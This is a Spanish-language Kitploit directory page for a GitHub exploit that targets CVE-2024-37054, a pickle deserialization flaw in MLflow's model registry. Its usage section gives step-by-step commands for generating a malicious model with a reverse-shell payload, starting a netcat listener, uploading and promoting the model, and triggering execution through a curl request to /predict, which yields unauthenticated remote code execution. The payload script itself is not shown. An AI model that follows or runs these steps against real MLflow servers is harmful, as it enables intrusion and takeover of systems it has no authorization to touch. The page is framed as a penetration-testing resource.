Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-37054-MLflow-reverse-shell — Exploit para CVE-2024-37054: Deserialización de pickle de MLflow RCE mediante carga de modelo manipulada al Model Registry, permitiendo una shell inversa sin autenticación en el endpoint /predict. | Kitploit
Herramientas/GitHubGitHub/spydomain
/cve-2024-37054-mlflow-reverse-shell
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed Teaming
GitHubspydomain/cve-2024-37054-mlflow-reverse-shell

CVE-2024-37054-MLflow-reverse-shell

Exploit para CVE-2024-37054: Deserialización de pickle de MLflow RCE mediante carga de modelo manipulada al Model Registry, permitiendo una shell inversa sin autenticación en el endpoint /predict.

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Herramientas y Archivos


ArchivoPropósito
generate_model.pyGenera un model.pkl malicioso con payload de reverse shell
upload_model.pySube el pickle a MLflow y lo promueve a Producción
sample.csvArchivo CSV utilizado para desencadenar el endpoint /predict

Uso

1. Generar el pickle malicioso

Edita generate_model.py y establece tu IP tun0:

root@kitploit:~
python3 generate_model.py

2. Iniciar un listener

root@kitploit:~
nc -lvnp 4444

3. Subir el modelo malicioso

Edita upload_model.py:

  • Establece MLFLOW en http://127.0.0.1:5000
  • Establece MODEL_NAME al nombre del modelo activo que se encuentra en el dominio principal
root@kitploit:~
python3 upload_model.py

4. Desencadenar la ejecución

Obtén una cookie de sesión nueva de la aplicación cliente, luego:

root@kitploit:~
curl -X POST http://127.0.0.1:80/predict \
  -H "Cookie: session=<YOUR_SESSION_COOKIE>" \
  -F "[email protected]"

La shell se recibe en tu listener.


Vulnerabilidad Clave

Deserialización de Pickle a través del Registro de Modelos de MLflow

MLflow carga los modelos registrados utilizando pickle.load() de Python. Al subir un pickle manipulado como un artefacto de modelo y promoverlo a Producción, cualquier llamada posterior a /predict deserializa el payload del lado del servidor, logrando RCE no autenticado como el usuario de la aplicación.

Referencias

  • Documentación de la API REST de MLflow
  • Deserialización de Pickle en Python
Descargar herramienta